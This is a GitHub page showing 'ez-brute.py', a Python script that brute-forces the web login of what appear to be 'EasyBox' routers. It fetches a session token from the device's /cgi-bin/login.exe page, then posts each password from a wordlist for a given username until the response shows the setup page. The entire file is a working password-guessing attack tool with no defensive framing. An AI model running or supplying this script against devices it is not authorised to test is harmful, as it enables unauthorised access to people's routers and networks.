Repository navigation
Expand file tree
/
Copy pathez-brute.py
More file actions
107 lines (85 loc) · 4.76 KB
/
Copy pathez-brute.py
File metadata and controls
107 lines (85 loc) · 4.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import requests
import argparse
import re
from colorama import Fore, Style, init
# EZ_brute v.0.1
# easy bruteforcing your easyboxes - (c) 2024 suuhm
# usage: ez-brute.py [-h] --ip IP --username USERNAME --wordlist WORDLIST
#
# Login Brute-force Sc#ript
#
# options:
# -h, --help show this help message and exit
# --ip IP The IP address of the target device
# --username USERNAME The username for login
# --wordlist WORDLIST Path to the wordlist file
# Initialize colorama
init(autoreset=True)
def display_banner():
banner = f"""
{Fore.GREEN}{Style.BRIGHT}
██████████ ███████████ ███████████ ███████████ █████ █████ ███████████ ██████████
░░███░░░░░█░█░░░░░░███ ░░███░░░░░███░░███░░░░░███ ░░███ ░░███ ░█░░░███░░░█░░███░░░░░█
░███ █ ░ ░ ███░ ░███ ░███ ░███ ░███ ░███ ░███ ░ ░███ ░ ░███ █ ░
░██████ ███ ██████████ ░██████████ ░██████████ ░███ ░███ ░███ ░██████
░███░░█ ███ ░░░░░░░░░░ ░███░░░░░███ ░███░░░░░███ ░███ ░███ ░███ ░███░░█
░███ ░ █ ████ █ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░ █
██████████ ███████████ ███████████ █████ █████ ░░████████ █████ ██████████
░░░░░░░░░░ ░░░░░░░░░░░ ░░░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░░ ░░░░░░░░░░
easy bruteforcing your easyboxes - v0.1a (c) 2024 suuhm
{Style.RESET_ALL}
"""
print(banner)
def main():
display_banner()
# Define arguments
parser = argparse.ArgumentParser(description='Login Brute-force Script')
parser.add_argument('--ip', required=True, help='The IP address of the target device')
parser.add_argument('--username', required=True, help='The username for login')
parser.add_argument('--wordlist', required=True, help='Path to the wordlist file')
args = parser.parse_args()
# Target URL
url = f"http://{args.ip}/cgi-bin/login.exe"
# Create session
session = requests.Session()
# First request to extract token
initial_response = session.get(url)
# Extract token
token_match = re.search(r"var _httoken = '(.*?)';", initial_response.text)
if token_match:
httoken = token_match.group(1) # Extracted token
print(f"{Fore.YELLOW}Extracted Token:{Style.RESET_ALL} {httoken}")
else:
print(f"{Fore.RED}Token not found. Exiting.{Style.RESET_ALL}")
return # Exit the script if token is not found
# Username
username = args.username
# Read wordlist
with open(args.wordlist, 'r') as file:
password_list = [line.strip() for line in file]
for password in password_list:
# Insert login data into POST request
login_data = {
"httoken": httoken,
"user": username,
"pws": password
}
# Create query string
query_string = '&'.join([f"{key}={value}" for key, value in login_data.items()])
full_url = f"{url}?{query_string}"
# Display the full URL with credentials
print(f"{Fore.CYAN}Sent URL:{Style.RESET_ALL} {full_url}")
# Send POST request
login_response = session.post(url, data=login_data)
# SET FOR DEBUGGING!
# Display and check HTML response
#print(f"\n{Fore.MAGENTA}HTML Response:{Style.RESET_ALL}")
#print(login_response.text)
# Check if login was successful
if "setupa_brief.stm" in login_response.text:
print(f"{Fore.GREEN}\nSuccessfully logged in with username: {username} and password: {password}{Style.RESET_ALL}")
break # Stop the loop on successful login
else:
print(f"{Fore.RED}\nLogin failed with username: {username} and password: {password}{Style.RESET_ALL}")
if __name__ == "__main__":
main()